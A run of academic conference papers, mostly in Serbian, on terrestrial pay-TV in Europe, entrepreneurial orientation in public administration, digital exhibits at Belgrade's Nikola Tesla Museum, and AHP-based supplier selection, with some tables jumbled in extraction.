Iz Tabele 2 vidi se da su prvi servisi zemaljske PAY TV započeli u Švedskoj još 1999. godine. U ostalim zemljama servis je uglavnom započeo nakon potpune digitalizacije, odnosno nakon gašenja anlognog signala. Najveći broj multipleksa za PAY TV aktivirano je u Albaniji, Finskoj, Švedskoj, i Letoniji (po šest), a najmanji broj, po jedan, koristi se u Francuskoj, Slovačkoj i Srbiji.

Na Slici 2 dat je grafički prikaz zastupljenosti FTA i PAY TV transmisije u zemljama Evrope, a na Slici 3 grafički prikaz zastupljenosti DVB-T/T2 i komresionih standarda za zemaljsku PAY TV transmisiju u evropskim zemljama.



Slika 3. Zastupljenost DVB-T/T2 standarda i videokompresionih standarda za PAY TV transmisiju.

Sa datih slika može se videti da su zemaljski PAY TV servisi prisutni u polovini zemalja Evrope, dok je kao standard za PAY TV najzastupljeniji DVB-T2/MPEG-4, odnosno DVB-T/MPEG-4, pre svega zbog uštede u kapacitetu, tj. mogućnosti emitovanja više TV programa u okviru jednog multipleksa. Standard DVB-T/MPEG-2 koristi se uglavnom za *free-to-air* (FTA). Sve veći broj zemalja koje koriste DVB-T standard planiraju da u skorijoj budućnosti pređu na unapređeni DVB-T2 standard.

Na Slici 4 i Slici 5 dat je grafički prikaz ukupnog broja SDTV i HDTV kanala, respektivno, uključujući i FTA i PAY TV servise koji su dostupni u multipleksima digitalne zemaljske TV. Dat je prikaz za prvih deset zemalja sa najvećim brojem SDTV, odnosno HDTV kanala.

Broj SDTV i HDTV kanala je u direktnoj vezi sa brojem dostupnih multipleksa i i primenjenog DVB-T i kompresionog standarda prikazanih u Tabeli 1 i Tabeli 2. Ubedljivo najveći broj SDTV nacionalnih kanala (166) dostupan je u Italiji, a zatim slede Velika Britanija, Finska i Albanija. Najveći broj HDTV kanala dostupan je u Francuskoj i Danskoj, a zatim slede Italija, Finska i Velika Britanija. U Danskoj je čak i veći broj HDTV kanala u odnosu na SDTV (23 prema 16).



Slika 4. Broj zemaljskih SDTV (FTA+PAY) kanala.





4. ZAKLJUČAK

Distribucija plaćenih TV kanala i pratećih servisa kroz zemaljsku mrežu relativno je novi način pružanja servisa, u odnosu na standardne načine distribucije (IPTV, kablovski i satelitski prenos). Prednost ovog načina distribucije, u odnosu na kablovski, jeste u tome što se svi servisi do krajnjih korisnika pružaju bežičnim putem. Zapravo, pružanje usluga plaćene TV zemaljskom transmisijom dobilo je smisao tek nakon digitalizacije zemaljske analogne mreže, čime se oslobađa značajni deo frekvencijskog spektra, i zbog mogućnosti prenosa velikog broja digitalnih TV kanala u jednom analognom TV kanalu. Ovakav način pružanja servisa digitalne televizije prisutan je u polovini evropskih zemalja, a izuzetno je razvijen u skandinavskim i baltičkim zemljama.

Povećanja broja TV usluga kroz digitalnu zemaljsku mrežu ostvariće se prelaskom na unapređeniji standard za digitalnu TV – DVB-T2/MPEG-4. Polovina evropskih zemalja već koristi ovaj standard, dok su ostale u procesu tranzicije ili planiraju skoriji prelazak na unapređeni DVB-T2 standard sa MPEG-4, ili čak HEVC kompresijom. Primena DVB-T2 standarda omogući će transmisiju većeg broja TV kanala u okviru jednog multipleksa, a pre svega omogući će povećanje broja HDTV kanala. Testovi sa HEVC kompresijom danas su prisutni u Nemačkoj i Rusiji [37, 42].

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METHODOLOGICAL FRAMEWORK ON ENTREPRENEURIAL ORIENTATION AND INNOVATION IN THE PUBLIC SECTOR

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Abstract:

This research aims to expand the conceptualization of the individual and organizational characteristics which are associated with organizational Entrepreneurial Orientation (EO) in public administration. It also attempts to provide organizations and their administrators, public officers, strategy and public policy makers, with a strong framework, supported by valuable information, on how to create an effective working environment which encourages the development of EO behavior. A theoretical framework and a theoretical methodological tool were designed in order to demonstrate such relations. By capturing the employee perceptions on attitudes, behavior and practices in their workplace, it is examined whether a public organization is innovative and entrepreneurial oriented. Knowing more about the observed variables, this research will provide information which would reveal the organizational and the individual characteristics which will support, promote and amplify the EO within the working environment of public organizations.

Keywords:

Public administration, entrepreneurship, innovation, individual characteristics, organizational characteristics, learning orientation, job satisfaction, employees perceptions, survey instrument.

1. INTRODUCTION

Looking superficially at the public sector, one easily contemplates the problems of the interaction between employees, government and citizens, such as operating costs, resource management and quality issues. Thus, the modern public administration has to behave in a more entrepreneurial and less bureaucratic way in order to harmonize with the dynamic, constantly evolving environment. Nevertheless, quantitative data, related to the reasons why (or not) civil servants adopt an Entrepreneurial Orientation behavior, are not sufficient yet [1; 2; 3].

Innovative and entrepreneurial attitudes are nowadays highly valued for the re-engineering, reformation and adaptation of public (and not only) erstwhile bureaucratic organizations to the new conditions, not only for purposes of development and evolution but also for survival reasons in a gradually changed socio-economic, technological and political environment [4; 5].

2. THE THEORETICAL FRAME

The concepts of entrepreneurial and innovative behavior

An EO and innovative behavior can greatly contribute to solving several issues of great importance in a public organization, while at the same time value is given to employees, processes, final results, generally speaking the organization and the society as a whole.

In this survey, the concept of entrepreneurial and innovative behavior has been approached from the angle of added value to the services provided, and not in the sense of financial gain. Undoubtedly, such a behavior inspires a whole new culture of change, which promotes creative and innovative thinking. Hence, a substantially positive contribution to community is achieved, through the implementation of district ideas which develop a fruitful and multivariable environment for citizens, as well as higher quality services.

This article provides a comprehensive review of the conceptual model of reference [5], including the further development and testing of the methodological framework analysis shown in Fig. 1. Henceforth, exploring the context of entrepreneurial and innovative behavior that governs a public organization, precisely it reflects perceptions that the employees themselves have on attitudes, behavior and practices promptly taking place on their job environment.

It is also well known that the EO of an organization enables managers to improve the quality and the effectiveness of their services. However, a more detailed analysis of the factors which are important to the EO is necessary with regards to unique means executives practise to act in a more entrepreneurial way. This study attempts to outline the framework that evaluates all questions raised on this matter.

The main research question

The authors answer the paper's research question by conducting a large-scale literature review in different research fields, all in one study. In this way, the authors aim also to enlighten dark aspects of related literature, such as innovation and entrepreneurship in the public administration. This research, therefore, is based on different data from studies on corporate entrepreneurship in private sector, with relatively little application in the public sector.

For example, supporters of the theory explain that, the employees' perceptions are shown to be of extreme

importance, while civil servants are the backbone of public administration. However, their opinions and perceptions in most cases are ignored. Nevertheless, [6] argues that with respect to the action of middle managers, their perception of various factors is more important than the existence of the factors themselves. On the other hand, [7] agree that, in order for any entrepreneurial intentions to be completely understood, both individual and organizational characteristics should be considered equally.

The lack of explicit analogue regarding the interaction in behavior of executives in public administration and plain employees in their internal work environment, based on their perceptions as such (on employee level), leads to the following research question: "Which organizational characteristics of the public sector and which individual characteristics of its managers are the cornerstone of actual Entrepreneurial Orientation behavior in public administration?"

3. ENGAGING HODGEPODGE: THE INNOVATIVE AND ENTREPRENEURIAL FACTORS

The individual characteristics, such as pro-activeness and creative efficacy, as well as specific demographic characteristics of public officials, in conjunction with the organizational characteristics (internal work environment), such as management support systems, work discretion, rewards/ recognition and organizational boundaries of public sector are being closely examined to establish whether they provide self-reported organizational EO. Technically, this process filters the mediators of organizational learning and job satisfaction (auxiliary variables) with regards to the moderating effects of resources' availability (intervening factor/ amending variable), in relation to organizational learning, job satisfaction and EO.

In this direction, it is expected for some factors to be full mediators (e.g. organizational characteristics) while others partial mediators (e.g. individual characteristics). In Fig. 1 is depicted the conceptual model of the present analysis in direct relation with the research-driven factors. Despite the results, the theoretical model, presented in this study, must be tested further using empirical data in order to be determined as full or partial, in its application.

Likewise, it should be noted that in this study, entrepreneurial behavior of middle managers is considered to be the key factor of corporate entrepreneurship [8; 9; 10], which directly affects the organizational EO [11].

Research methodology

Additionally, in order to prove empirically the validity of the theoretical model used below (Fig. 1) in this crosssectional study, a structured questionnaire was carefully designed using combined tools and multiple elements, according to the conceptual model, which have been developed, in their majority, by other researchers in the field; see for instance [8; 12; 13; 14; 15; 16].

In spite of the general structural model, there have been several revisions and adjustments, aiming to a generated tool, applicable to public sector executives. Furthermore, after the main research process, expert groups meeting and pilot testing, four newly created items (see Table VI) lead to more accurate results for the initial methodological framework. The target is to examine the interconnection between the implication of the research model factors and their relations.

Consequently, taking into consideration the above mentioned factors, the methodological tool consists of a total of 70 questions. Among them, seven items were negatively worded to evade response tendencies by the subject [17]. The tool also includes demographic features and a factor concerning the Instructional Manipulation Check (IMC).

Tables I-V concisely present the cornerstone of the literature review used as an inspiration for the theoretical model (Fig. 1) and the corresponding theoretical framework, both of which support the findings of this research.



Fig. 1. The heuristic model illustrates the effects of organizational and individual factors on job satisfaction through Learning Orientation (mediator) and the effects of LO on EO through job satisfaction (mediator). Moderating effects suggest that resource availability strengthens the LO (through organizational and/or individual characteristics) and the job satisfaction to EO relationship.

Definition of variables

Operational

Definition

[1]

[1] [1; 23; 26; 35; 36;

37; 38]

Number of questions

(items)

2

 4^{ii}

3

9 Table 5. Outcome variable

Entrepreneurial Orientation

(EO)

Innovativeness

Pro-activeness

Risk-taking

Total

	Definition of variables			
Internal work environment	Number of questions (items)	Operational Definition		
Management support	2	[1; 8; 13]		
Work discretion	4	[8; 13]		
Rewards/ recognition	3	[1; 8; 13]		
Organizational boundaries	4	[8; 13]		
Total	13			

	Definitio	Definition of variables		
	Number of questions (items)	Operational Definition		
Proactivity	9	[12; 14; 18]		
Creative efficacy	3	[16; 18]		
Total	12			

Table 2. Individual characteristics

	Definition of variables			
I. Learning Orientation	Number of questions (items)	Operational Definition		
Commitment to learning	4	[15; 19; 20; 21; 22; 23; 24; 25; 26]		
Shared vision	3	[15; 19; 20; 25]		
Open-mindedness	4	[23]		
II. Job satisfaction	6	[23; 27; 28; 29; 30; 31; 32; 33]		
Total	17			

Table 3. Moderator factor

	Definition of variables		
	Number of questions (items)	Operational Definition	
Resource availability	5 ⁱ	[1; 8; 13; 23; 34]	
Total	5		

Table 4. Moderator factor

les		Definiti	ion of variables
	New items	Number of questions (items)	Operational Definition
; 18]			1. My organiza tion respects th individuality of employees.
.8]	Pro-activeness		2. My organizati

	(1101113)	
		1. My organiza- tion respects the individuality of its employees.
Pro-activeness (organizational)	2	2. My organization is trying to create a promising work environment which improves the quality and ef- ficiency of everyday work.
Resource availability	2	 In my organization, operations are performed with respect to quality and predetermined time schedules.
		2. In my organization, every employee achieves maximum ef- ficiency, using effectively all resources available.
Total	4	

Table 6. New elements

Restrictions and future research

It should be noted that the suggested empirical part of this research will be based on collective data of single informants (individuals), whose participation is usually voluntary. Furthermore, the data of this research would probably involve objective measures, which, even though they can provide valuable information, can further require careful interpretation in an attempt to avoid common

ii The current survey resulted two outcomes, as shown in Table VI.

i The current survey resulted two outcomes, as shown in Table VI.

mistakes, such as systematic biases (e.g. socially acceptable) related to the respondent [39]. A common method variance could thus be observed [40].

Moreover, the nature of the data which will be collected restricts the variety of the conclusions and analysis methods used. Hence, using cross-sectional data definitely requires special attention before conclude to causal inferences.

Although the interconnection of the spoken relationships will be identified through the survey, the results may be influenced by external variables which are not included in the present analysis or is susceptible to reverse causality [41].

In addition, despite the fact that hypotheses are based on theoretical factors and theoretical considerations, the relationships which will be identified could be the basis for mechanisms other than those taken into account for this survey. After all, longitudinal data, especially reflecting progress over time, could be used to overcome such uncertainty.

Last but not least, one can easily assume that all impartial relations and flimsy assumptions could be considered limitations of this analysis. Nevertheless, these could be used as part of future research data. For this reason, it would be interesting to give a thorough consideration to the interconnection of the less significant relations.

Undeniably, future research is needed to further examine more objective indicators and multiple sources. However, the generalization of this study, by applying the questionnaire to a large variety of public organizations instead of solitary examples, implements a far more accurate result and represents widely the diversity of demographic groups.

4. SIGNIFICANCE OF THE STUDY

This study was conducted due to the limited knowledge of EO in public administration applications, enforced by the influence of individual and organizational characteristics of public officials.

Noteworthy, here is the fact that it is essential to appreciate public servants by virtue of innovative and entrepreneurial solutions, improving the quality of provided services, identifying and creatively solving the issues that arise in their work. Along with a more organizational EO, the public sector can secure the effectiveness and efficiency of public administration system [42].

Moreover, the public administration policy makers, renouncing its bureaucratic facet, should focus on a more

extraneous orientation, contouring the appropriate circumstances in order to meet the social needs through high quality services, of increased effectiveness and efficiency, in a highly globalized and competitive environment [43].

Indeed, public servants should be encouraged to adopt innovative and entrepreneurial attitudes and behavior, concerning daily problems and solutions. Executive training programs should also follow this approach.

Unquestionably, Entrepreneurial Orientation and innovative behavior can thrive in the public sector. Absolutely, public executives, administrators, strategy and public policy makers should be focused on this direction.

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DIGITALNI MEDIJI U FUNKCIJI UNAPREĐENJA KULTURNOG TURIZMA

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Rezime:

Kultura je važan faktor razvoja svakog društva, a analizirana kroz kontekst kulturnog turizma čini značajan deo kreativne ekonomije jedne države. Imajući u vidu da kreativna ekonomija predstavlja spoj umetnosti, nauke i tehnologije, ključna je mogućnost da se vrednost kreiranih proizvoda materijalizuje. Kreativnost pak predstavlja značajan elemenat u svetu umetnosti i dizajna, ali i u drugima sferama dovodi do određene konkurentnosti.

U ovom radu biće prezentovana sinergija digitalnih umetnosti, grafičkog dizajna, primenom animacije, mapiranja i vizuelnih efekata i kulturnog turizma, kroz projekat kreiranja muzejske postavke kao segmenta kreativne industrije.

Ključne reči:

kreativna ekonomija, grafički dizajn, animacija, vizuelni efekti, kulturni turizam.

1. UVOD

Pojam kreativne ekonomije počinje da se pominje krajem XX veka, a jedan od učesnika u razvoju i proučavanju ovog fenomena je Džon Hokins, britanski analitičar i teoretičar. Hokins ističe tri glavna elementa kreativne ekonomije: kreativnost kao ideju koja se može ekonomski valorizovati; kreativne proizvode koji predstavljaju rezultat kreativnog rada i kreativne delatnosti [1]. Kreativna ekonomija se, prema izveštaju UNESCO za 2013. godinu, zasniva na deljenju i razmeni kulturnih vrednosti, tradicije, znanja i veština između kreatora (proizvođača) i korisnika (potrošača), a predstavlja spoj umetnosti, nauke i tehnologije, uz formiranje niza kreativnih industrija u okviru nje [2].

Kreativna industrija kao termin prvi put se pojavljuje krajem XX veka na prostoru Australije, nakon par godina osvaja i Veliku Britaniju, a početkom XXI veka postaje razvojna strategija britanskog društva. Prema Ričardsu i Vilson, kreativna industrija je definisana dokumentom britanske Vlade CITF 1997. godine kao "tiha aktivnost koja ima svoje poreklo u individualnoj kreativnosti, veštini i talentu, a postoji potencijal za bogatstvom i otvaranjem novih radnih mesta uz eksploataciju intelektualne svojine" [3].

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Danas kreativne industrije predstavljaju najdinamičniji sektor na nivou svetske ekonomije, imajući u vidu širinu obuhvata jer su na raskršću biznisa, kulture, umetnosti i savremenih informaciono-komunikacionih tehnologija. Prema podacima Svetske banke, poslovanje u okviru kreativnih industrija tretira se kao uspešno poslovanje, imajući u vidu da je procenjeno da kreativne industrije učestvuju sa 7% svetskog BDP-a i sa očekivanom stopom rasta od oko 10% godišnje [4]. Ipak, prema Hokinsu samo ona kreativnost koja može biti ekonomski valorizovana smatra se delom kreativne industrije [1]. U kreativne industrije ubrajaju se raznorodne delatnosti čija se produkcija velikim delom zasniva na umetničkom stvaralaštvu i praksi [5]. Kreativne industrije predstavljaju niz delatnosti zasnovanih na umećima, talentima i kreativnosti, a obuhvataju: arhitekturu, dizajn, izdavaštvo, komunikacione tehnologije, modu, film, video i fotografiju, softvere, kompjuterske igre, igračke, muziku, vizuelne i izvođačke umetnosti, zanate, advertajzing, radio, televiziju, a prema izveštaju UNESCO-a i kulturni turizam. Doprinos kreativne ekonomije na svetskom nivou ogleda se u prihodima od 2.250 milijardi US\$ i 29,5 miliona zaposlenih ljudi širom sveta [6].

Interesantno je napomenuti da se u pojedinim momentima prepliću kulturna i kreativna industrija.

KULTURNI TURIZAM KAO DEO KREATIVNE INDUSTRIJE

Turizam, kao privredna delatnost, bazira se na kreiranju putovanja, aranžmana i boravka uz obavezan doživljaj, a tu dolazi do izražaja kreativnost koja je neophodna i uslovljena podacima iz oblasti društvenih dešavanja, kulturnih i istorijskih činjenica i specifičnosti. Upravo zato se za jednog od glavnih pokretača kreativne ekonomije smatra turistička industrija.

Industrija turizma se na svetskom nivou smatra najbrže rastućom delatnošću, na šta ukazuju podaci o učešću od 10% u svetskom BDP-u i prihodima u 2015. godini u visini od 1260 biliona US\$, uz činjenicu da je svaki jedanaesti stanovnik u svetu zaposlen u industriji turizma [7]. Imajući u vidu da je industrija turizma brzo rastuća delatnost sa mogućnošću privlačenja novih investicija, turizam najbrže može da aktivira nova radna mesta i angažuje ljude iz različitih delatnosti [2].

Prema rezultatima istraživanja turističke tražnje i potreba turista, sve interesantnijim smatraju se oblici turizma specifičnih interesovanja tzv. tematski turizam u koji se ubrajaju: kulturni turizam, gradski turizam, seoski turizam, ekoturizam, zdravstveni turizam, nautički turizam. Kulturni turizam je primarna forma turizma specijalnih interesa i odnosi se na učenje o drugim narodima, običajima, tradiciji, njihovim navikama, načinu života, znamenitim ličnostima i njihovoj kulturnoj baštini. Sinergija kulture i turizma jedna je od vodećih tema kada je u pitanju razvoj turizma destinacije. Sve veći broj destinacija okreće se kulturi, kao prednosti u generisanju atraktivnosti i jedinstvenosti u cilju povećanja broja posetilaca, a time radnih mesta i rasta prihoda [3]. Veza kreativne industrije i kulture tj. sinergija aktivnosti nastaje krajem XX veka kada delovi kulturne industrije, kao što su multimedija, kreiranje softvera, audio i vizuelna industrija, arhitektura i dizajn prevazilaze granice tradicionalnog [2].

Prema UNWTO, kulturni turizam se definiše kao putovanje osoba iz kulturnih motiva: studijska putovanja, putovanja radi posmatranja umetničkih događaja, kulturne ture, posete festivalima, posećivanje mesta i spomenika u cilju proučavanja folklora ili umetnosti, kao i hodočasništvo. U vezi sa tim mogu se izdvojiti vrste kulturnog turizma: verski turizam, kulturno-istorijski turizam, etnički turizam, edukacioni turizam, kongresni turizam, muzejski turizam, umetnički turizam, manifestacioni turizam.

Kulturni resursi su važno nasleđe i pokretač razvoja kulturnog turizma, a oni obuhvataju: etnografske, umetničke, specijalizovane i druge vrste muzeja, arheološke lokalitete, istorijska mesta, etnoparkove, muzičke centre, skulpture, izložbe, galerije, stare zanate i rukotvorine, narodne pesme i ples, lokalne manifestacije, nošnju, kao i nacionalnu gastronomsku ponudu.

Prema Jovanović, kulturni turizam karakterišu određene specifičnosti u odnosu na druge vidove turizma: prenosi bogatstvo i raznovrsnost mesta i kultura, stvara novi turistički proizvod, minimizira degradaciju životne sredine. Kulturni turizam izgrađuje i unapređuje tržište kulturnih vrednosti i naglašava kvalitet i autentičnost iskustava posetilaca na destinaciji [8].

Muzejska delatnost ima važno mesto u kulturnom turizmu, bez obzira na sadržaj tj. postavku koja je u ponudi. Mogu se definisati zajedničke vrednosti muzejske i turističke ponude koje počivaju na potrebama i motivima ciljnih grupa da prožive nešto novo, inspirativno i zadovoljavajuće. U vezi sa tim, iako se na prvi pogled može govoriti o konceptualnim i sadržinskim razlikama, trebalo bi naglasiti da turizam i muzejska delatnost kao svoj proizvod nude uvid u kulturnu stvarnost, nacionalni identitet i tradiciju, i specifičnosti lokalnog stanovništva.

3. SINERGIJA DIGITALNIH MEDIJA I KULTURNOG TURIZMA

Važan turističko-kulturni resurs u ponudi Beograda i Srbije kao turističke destinacije je muzej "Nikole Tesle", jedna od referentnih tački na mapi kulturnog turizma.

U julu 2016. godine, povodom 160 godina od rođenja jednog od najvećih svetskih, a srpskih naučnika, Nikole Tesle, u muzeju "Nikole Tesle" u Beogradu otvorena je stalna postavka čiji sastavni deo čini nekoliko digitalnih eksponata. Autor ove stalne postavke je direktor muzeja "Nikola Tesla" dr Branimir Jovanović, a arhitekta postavke je Pavle Vasev. Tim "Bulb Creation Studia" pod umetničkom direkcijom dr Bojana Stevanića je za potrebe muzeja kreirao celokupan vizuelni sadržaj stalne postavke izložbe u vidu grafičkog dizajna, interaktivnih instalacija, holografskih projekcija, kao i 3D mapiranih projekcija. Kreirani vizuelni sadržaj obuhvatio je:

- I3DG animaciju Tesline priče o detinjstvu;
- Projection mapping na maketi Kolorado Springsa;
- Projekciju na trasparentnoj foliji;
- Holografsku piramidu;
- Interaktivni Touch Screen Interface;
- 3D mapiranu projekciju na kaloti.

Teslina priča o detinjstvu je animirana holografska instalacija, urađena u I3DG tehnologiji, koja omogućava projektovanje animacije u više planova (u ovom slučaju 3 plana), što pojačava utisak prostornosti animacije i pojačanog holografskog utiska (Slika 1). Urađena je po orginalnom Teslinom pismu koju je napisao devočici Poli. Tesla govori o odrastanju u Smiljanu i trenutku kada se prvi put upoznao sa pojavom elekticiteta. Animacija je praćena naracijom na engleskom i srpskom jeziku.



Slika 1. Rešenje holografske animacije.

U saradnji sa kompanijom "Schneider Electric" i Muzejom "Nikole Tesle", kreirana je 3D *mapping* projekcija na maketi hidrocentrale u Kolorado Springsu (Slika 2).

Tim "Bulb Creation Studia" je modelovao maketu u prostoru, kao i trodimenzionalnu maketu na kojoj se projektuje animacija. Animacija posetiocima muzeja pojašnjava sadržaj eksponata. Osim projekcije na maketi, dodatno se projektuje infografika na štampanom panou koji je postavljen iznad same makete.



Slika 2. 3D mapping projekcija hidrocentrale u Kolorado Springsu.

Na trasparentnoj foliji je projektovana tehnička animacija Teslinog genaratora (Slika 3). Transparentna folija stvara utisak holografske projekcije u prostoru. Korišćenjem ove tehnologije omogućen je vizuelni utisak otvorenog prostora muzeja.



Slika 3. Holografska animacije Teslinog generatora.

Na temu Tesline vizije budućnosti napravljena je animirana holografska instalacija. Instalacija se sastoji od staklene piramide na kojoj se reflektuju 3D animacije uređaja koji su modelovani po uzoru na Tesline nacrte vizije budućnosti (Slika 4). U hardveru je instaliran 46- inčni displej. Posebnom pripremom animacije se spajaju na način da stvaraju utisak holografske projekcije u prostoru.



Slika 4. Holografska instalacija Tesline vizije budućnosti.

Takođe, kreiran je interesantan digitalni medij u formi interaktivniog displeja na kom posetioci izložbe mogu da istražuju vrednosti Tesline doktrine (Slika 5). Birajući nodove u vidu sazvežđa, posetioci izložbe mogu da istražuju Tesline životne vrednosti. Svaki nod je propraćen tekstualnim fajlovima koji dodatno objašnjavaju termin.



Slika 5. Interaktivni diplej Teslinih doktrina.

3D mapirana projekcija kalote u dimenzijama prečnika 240 cm instalirana je na samom ulazu u Muzej "Nikole Tesle" (Slika 6). Pomoću projektora visoke rezolucije, na površini kalote se projektuje animacija Teslinih tumačenja elektromagnetnih talasa. Vodič izložbe kao narator prati tajming animacije i posetiocima izložbe objašnjava dešavanja na kaloti.



Slika 6. 3D kalota Teslinih tumačenja elektromagnetnih talasa.

4. ZAKLJUČAK

Imajući u vidu značaj održanja i prezentovanja kulturnog identiteta, tradicije, nasleđa, kao i dela istaknutih naučnika jednog naroda, važno je ukazati na strateško praćenje i razvoj kulturnog turizma, naročito kada je u pitanju Srbija. Ako znamo da je na turističkom tržištu učešće kulturnog turizma procenjeno na oko 37% od svih međunarodnih putovanja, kao i podatak da se kulturni turizam ubraja u pet brzo rastućih trendova u globalnom turizmu [8], to nam je jasan znak u kom pravcu bi trebalo razvijati turističku ponudu. Uz primenu savremenih informacionih tehnologija, koje na interaktivan način dopunjuju ponudu i sadržaje kulturnog turizma, možemo podići nivo atraktivnosti i autentičnosti Srbije kao destinacije na svetskom turističkom tržištu.

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DIGITAL MEDIA IN ORDER TO IMPROVE CULTURAL TOURISM

Abstract:

Culture is an important factor in the development of any society, and analyzed in the context of cultural tourism is an important part of the creative economy of a country. Bearing in mind that the creative economy is a blend of art, science and technology is a key option to value created product materializes. Creativity in turn is an important element in the world of art and design, but also in other spheres leads to a certain competitiveness.

In this paper we present the synergy of digital art, graphic design, using animation, mapping and visual effects and cultural tourism, through the project of creating a museum exhibit, as a segment of the creative industry.

Keywords:

creative economy, graphic design, animation, visual effects, cultural tourism.



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VIŠEKRITERIJUMSKI IZBOR DOBAVLJAČA PRIMENOM AHP METODOLOGIJE I SOFTVERSKOG PAKETA EXPERT CHOISE

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Rezime:

Funkcija nabavke predstavlja jedan od najbitnijih celina određenog privrednog subjekta. Od uspeha ove funkcije u velikoj meri zavisi efikasnost i efektivnost preduzeća. U savremenim tržišnim uslovima, proces selekcije dobavljača predstavlja jedan od ključnih aktivnosti menadžmenta u okviru nabavke i okruženja lanca snabdevanja. Zadatak svih privrednih subjekata, bez obzira na delatnost, predstavlja zadovoljenje potreba. U cilju ostvarenja ovog zadatka, potrebno je imati dobre saradnike koji su finansijski stabilni, isporučuju robu na vreme, poseduju robu visokog kvaliteta koju plasiraju po niskim cenama. Predmet istraživanja rada predstavlja višekriterijumski izbor dobavljača primenom AHP metodologije uz pomoć softverskog paketa Expert Choice 11. Cilj istraživanja predstavlja rangiranje dobavljača na osnovu definisanih kriterijuma odlučivanja.

Ključne reči:

nabavka, izbor dobavljača, AHP metodologija, softver Expert Choice 11.

1. UVOD

U savremenim tržišnim uslovima, radi dostizanja optimalne konkurentske pozicije i uspeha na tržištu, potrebno je dostići visok nivo svih funkcija u okviru određenog privrednog subjekta. Moderni uslovi poslovanja zahtevaju od privrednog subjekta brzo prilagođavanje na promene u okruženju.

Naime, često se događa da dolazi do promene u potražnji i potrebama klijenata. U skladu sa kretanjima na tržištu, privrednim subjektima su potrebni adekvatni lanci snabdevanja. Agilan i optimalan lanac snabdevanja može da dovede do profita na turbulentnom tržištu.

Nabavka predstavlja primarnu funkciju za svaku organizaciju [1]. Celokupan proces nabavke ima veoma bitnu ulogu u svakodnevnom radu gotovo svih proizvodnih i uslužnih kompanija širom sveta. Različiti entiteti naručuju i kupuju različite kategorije sirovina, komponenti, poluproizvoda i gotovih proizvoda. Oni traže najefikasniji aranžman isporuke, koja se odražava na ukupnu profitabilnost i konkurentsku poziciju privrednih subjekata. Pored toga, lanci snabdevanja imaju jak uticaj i na zadovoljstvo i poverenje klijenata. Najveći uticaj na efikasnost sistema nabavke zavisi od pravilnog izbora odgovarajućih dobavljača [2].

2. IZBOR DOBAVLJAČA

Izbor dobavljača predstavlja aktivnost odabira dobavljača koji su u stanju da zadovolje potrebe kupovine preduzeća na dugi rok [3]. U osnovi, izbor dobavljača predstavlja proceduru odlučivanja sa ciljem smanjenja preliminarne grupe potencijalnih dobavljača do krajnjeg izbora jednog ili grupe dobavljača [4, 5, 6, 7, 8].

Prilikom odabira dobavljača, potrebno je opredeliti i politiku organizacije u pogledu nabavke. Naime, određeni broj organizacija odlučuje se za odabir samo jednog dobavljača za određenu grupu proizvoda ili materijala, dok druga grupa privrednih subjekata vrši nabavku robe posredstvom dva ili više dobavljača. Svaka od opcija prilikom izbora dobavljača ima svoje prednosti i mane. Najčešći slučaj u praksi je korišćenje standarda 80:20, u kome se većina proizvoda iz određene grupe nabavlja od jednog dobavljača, dok se jedan manji deo nabavlja od drugog dobavljača.

Izbor dobavljača vrši se na osnovu kriterijuma za ocenu. Sami kriterijumi zavise od delatnosti preduzeća, količine robe koja se nabavlja i slično. Dikinson je 1966. godine identifikovao 23 različita kriterijuma za selekciju i evaluaciju distributera. Na osnovu ankete koju je sproveo u SAD i Kanadi, kvalitet, isporuka i istorija performansi identifikovani su kao tri najvažnija kriterijuma za izbor dobavljača, respektivno [9]. Prema Veberu, kvalitet je najvažniji kriterijum za izbor dobavljača. Nakon toga slede isporuka i troškovi [10]. Neki od autora napominju da je cena jedini kriterijum za odabir dobavljača. Međutim, Taluri i Narasiman zaključuju da cena nikako ne može biti jedini kriterijum prilikom izbora dobavljača [11]. Leman je predložio pet kriterijuma za odabir dobavljača: performanse, ekonomsko stanje, sporazum, društvene norme i troškove [12]. Kedik i Dejl sugerišu da kvalitet, plan proizvodnje, valjanost sistema kontrole, aktivnosti tokom istorije, kategorija stavke i cena moraju da se uključe u kriterijume za odabir dobavljača [13].

3. IZBOR SOFTVERA

Expert Choice 11 predstavlja jedan od najzastupljenijih i najefikasnijih softverskih alata za rešavanje problema višekriterijumskog odlučivanja. Expert Choice je softverski alat sa snažnim performansama za analizu odluka na nivou organizacije. Expert Choice je robusna aplikacija namenjena personalnim računarima kojim se stručnim organizacionim timovima omogućava prioritetno razvrstavanje, odnosno sortiranje alternativa i donošenje pouzdanih odluka o alternativama, sve zarad postizanja željenih ciljeva. Expert Choice omogućava integrisanje podataka iz različitih programa, kao što su Microsoft Excel i Microsoft Project.

Expert Choice softverski alat u potpunosti je prilagođen primeni analitički hijerarhijskom procesu (AHP metodi) i omogućava realizaciju svi neophodnih koraka.

Expert Choice je jedan od najefikasnijih alata za rešavanje problema višekriterijumskog odlučivanja. On omogućuje *what if* analizu pri strateškom planiranju proračuna projekata. Softver je u potpunosti prilagođen primeni AHP metode i podržava sve potrebne korake. Expert Choice dozvoljava strukturiranje problema i upoređivanje alternative i kriterijuma u parovima na više načina. Pored toga, on poseduje mogućnost sprovođenja analize osetljivosti pomoću jednostavne interaktivne razmene težina kriterijuma i alternative, ali i grafove za odličnu vizuelizaciju dobijenih rezultata [14].

Pomenuti softver podržava praktično neograničen broj kriterijuma i potkriterijuma i u potpunosti implementira Analitički hijerarhijski proces Tomasa Satija. U okruženju softvera Expert Choice, izgradnja modela predstavlja direktan proces. Expert Choice podržava ispitivanje konzistentnosti pri vrednovanju kriterijuma i alternativa prema definisanoj hijerarhiji, tako da se lako može pratiti kako promene prioriteta kriterijuma utiču na rangove alternativa [15].

4. METODOLOGIJA ISTRAŽIVANJA

Analitički hijerarhijski proces (eng. *Analytical Hierarchy Process* – AHP) razvijen je od strane Tomasa Satija. On predstavlja jednu od najčešće korišćenih višekriterijumskih metoda odlučivanja [16]. Proces izbora dobavljača pomoću AHP metode obuhvata šest koraka koji su prikazani na Slici 1.







Prvi korak u primeni AHP metodologije podrazumeva definisanje kriterijuma i alternativa. U ovom primeru biće izvršeno upoređivanje 4 alternative (dobavljača), na osnovu 10 kriterijuma.

Razvoj hijerarhije problema predstavlja drugi korak u procesu izbora dobavljača primenom AHP metodologije. Hijerarhijska struktura problema odlučivanja prikazana je na Slici 2.



Slika 2. Hijerarhijska struktura problema odlučivanja

U trećem koraku istraživanja biće izvršeno vrednovanje kriterijuma za odabir dobavljača, čiji je cilj definisanje težinskih koeficijenata potrebnih za procenu i selekciju dobavljača. Vrednovanje kriterijuma vrši se na osnovu Satijeve devetostepene skale prikazane u Tabeli 1.

